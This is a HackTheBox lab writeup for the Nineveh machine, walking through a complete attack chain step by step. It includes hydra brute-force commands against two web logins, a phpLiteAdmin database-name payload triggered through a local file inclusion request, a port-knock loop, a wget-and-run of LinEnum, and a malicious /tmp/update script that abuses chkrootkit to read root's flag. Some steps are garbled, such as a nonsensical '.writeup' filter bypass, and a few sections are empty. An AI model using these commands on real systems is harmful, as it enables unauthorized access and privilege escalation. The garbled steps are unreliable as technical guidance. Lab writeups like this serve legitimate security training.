Nineveh - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐☆
• CVE: ⭐⭐⭐☆☆
• CTF-like: ⭐⭐⭐⭐☆

Summary

Nineveh requires chaining multiple exploits to achieve initial access and escalate privileges. The machine hosts uncommon services that demand thorough enumeration. The attack path involves HTTP-based brute forcing against two separate authentication mechanisms, leveraging a phpLiteAdmin RCE vulnerability combined with local file inclusion, discovering SSH credentials via steganography, and finally exploiting a chkrootkit vulnerability for root access. TL;DR: Brute-force phpLiteAdmin → Execute RCE via LFI → Extract SSH keys from image → Port knock SSH open → Exploit chkrootkit for root.

Reconnaissance

Port Scanning

nmap -sC -sV -T4 -p- 10.10.10.43

Results:

Initial scan reveals only Apache web server on ports 80 and 443. No SSH service is immediately visible.

Service Enumeration

Directory Discovery (Dirbuster)

dirbuster -u http://10.10.10.43 -l /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt

Key Directories Discovered:

• /db/ - phpLiteAdmin v1.9 interface
• /secure_notes/ - Contains a single image file
• /department/ - Login page

phpLiteAdmin Analysis

The /db/ directory hosts phpLiteAdmin v1.9, a database management interface requiring authentication.

Department Login

The /department/login.php page is protected. Error messages reveal valid usernames through differential responses (specifies “Incorrect username” vs “Incorrect password”).

Secure Notes

The /secure_notes/ directory contains an image file that warrants further analysis.

Vulnerability Assessment

Identified Vulnerabilities:

1. phpLiteAdmin v1.9 RCE - Authenticated users can execute arbitrary PHP code (CVE via exploit-db 24044)
2. HTTP-based Brute Force - Both login pages vulnerable to password enumeration
3. Local File Inclusion (LFI) - Department notes functionality accepts file parameters with minimal validation
4. Steganography - SSH credentials hidden in image file
5. Port Knocking - SSH port hidden behind knock daemon
6. chkrootkit Privilege Escalation - World-writable /tmp/update executed as root

Initial Foothold

Exploitation Path

Step 1: Enumerate Valid Username (Department)

# Test common usernames against /department/login.php
# Error messages reveal that 'admin' is a valid username

Step 2: Brute Force Department Login

hydra -l admin -P rockyou.txt 10.10.10.43 http-post-form \
  "/department/login.php:username=admin&password=^PASS^:Invalid Password" \
  -t 64 -V

Result: Successfully discovers admin password.

Step 3: Brute Force phpLiteAdmin

hydra -l none -P rockyou.txt 10.10.10.43 https-post-form \
  "/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect password" \
  -t 64 -V

Result: Obtains phpLiteAdmin credentials.

Step 4: Create Malicious Database (phpLiteAdmin RCE)

Login to phpLiteAdmin and create a new database with a PHP payload in the filename:

Database name: ninevehNotes.txt.writeup.php

This bypasses the .writeup file restriction by embedding it in the database name.

Step 5: Execute PHP Payload via LFI

Access the department notes page with the crafted path:

GET /department/manage.php?notes=/var/tmp/ninevehNotes.txt.writeup.php HTTP/1.1

The LFI filter only requires ninevehNotes.txt to be present in the filename, and our database name satisfies this. The PHP payload executes, providing command execution.

Step 6: Extract SSH Credentials

# Analyze the image from /secure_notes/ directory
strings image_file.png | grep -i "BEGIN\|END"

Result: Extracts both public and private SSH keys from the image via steganography.

Step 7: Port Knock to Open SSH

View the knock daemon configuration:

cat /etc/knockd.conf

Knock sequence to open SSH port:

for x in 571 290 911; do
  nmap -Pn --host_timeout 201 --max-retries 0 -p $x 10.10.10.43
done

Step 8: SSH Access

# Save private key
echo "-----BEGIN RSA PRIVATE KEY-----
...
-----END RSA PRIVATE KEY-----" > id_rsa

chmod 600 id_rsa

# Connect as amrois user
ssh -i id_rsa amrois@10.10.10.43

# Retrieve user flag
cat /home/amrois/user.txt

Privilege Escalation

LinEnum Enumeration

# Download and run LinEnum
wget https://github.com/rebootuser/LinEnum/raw/master/LinEnum.sh
bash LinEnum.sh

Key Finding: Identifies /usr/sbin/report-reset.sh being executed, which uses chkrootkit.

Identify chkrootkit Vulnerability

# Examine the report file
cat /reports/report.txt
# Strings reveal chkrootkit generated the report

# Check for chkrootkit version vulnerabilities
# Discover CVE via exploit-db 33899

chkrootkit RCE Exploitation

The chkrootkit process runs as root and executes /tmp/update if it exists. Create a malicious script:

# Create payload script
cat > /tmp/update << 'EOF'
#!/bin/bash
cat /root/root.txt > /tmp/root_flag.txt
chmod 644 /tmp/root_flag.txt
EOF

chmod +x /tmp/update

Trigger Exploit

Wait for the chkrootkit scheduled task to execute (or trigger manually if access to cron exists):

# Once executed, retrieve the flag
cat /tmp/root_flag.txt

Attack Chain Summary

Port Scan (80, 443)
    ↓
Directory Enumeration (/db, /department, /secure_notes)
    ↓
Brute Force Department Login (admin account)
    ↓
Brute Force phpLiteAdmin Credentials
    ↓
Create Malicious PHP Database (RCE via LFI)
    ↓
Execute Payload via /department/manage.php?notes=
    ↓
Extract SSH Keys from Image Steganography
    ↓
Port Knock (571, 290, 911) to Open SSH
    ↓
SSH Access as amrois (User Flag)
    ↓
Enumerate with LinEnum
    ↓
Discover chkrootkit /tmp/update Execution
    ↓
Create Malicious /tmp/update Script
    ↓
Root Access via chkrootkit RCE (Root Flag)

Tools Used

Key Learnings

Techniques Practiced

• HTTP-based credential brute forcing with Hydra
• Remote code execution exploitation via phpLiteAdmin v1.9
• Local file inclusion vulnerability chaining
• Steganography and hidden credential extraction
• Port knocking for hidden service discovery
• Privilege escalation via scheduled task exploitation
• Chkrootkit local privilege escalation vulnerability

Lessons Learned

1. Multiple exploitation vectors: This machine demonstrates that initial access often requires chaining multiple vulnerabilities rather than a single exploit.

2. Enumeration importance: Thorough directory enumeration revealed critical attack surfaces (phpLiteAdmin, department login, secure_notes).

3. Error message analysis: Differential error responses leaked valid username information, enabling targeted brute forcing.

4. Filename filtering bypass: Understanding file extension handling allowed bypassing the .writeup filter by embedding the trigger string within the database name.

5. Steganography awareness: Security credentials can be hidden in unexpected locations; always analyze binary files with tools like strings.

6. Port knocking concepts: Not all services are immediately accessible; port knocking provides a secondary authentication layer.

7. Privilege escalation paths: Scheduled tasks running as root with world-writable dependency files represent critical privilege escalation vectors.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>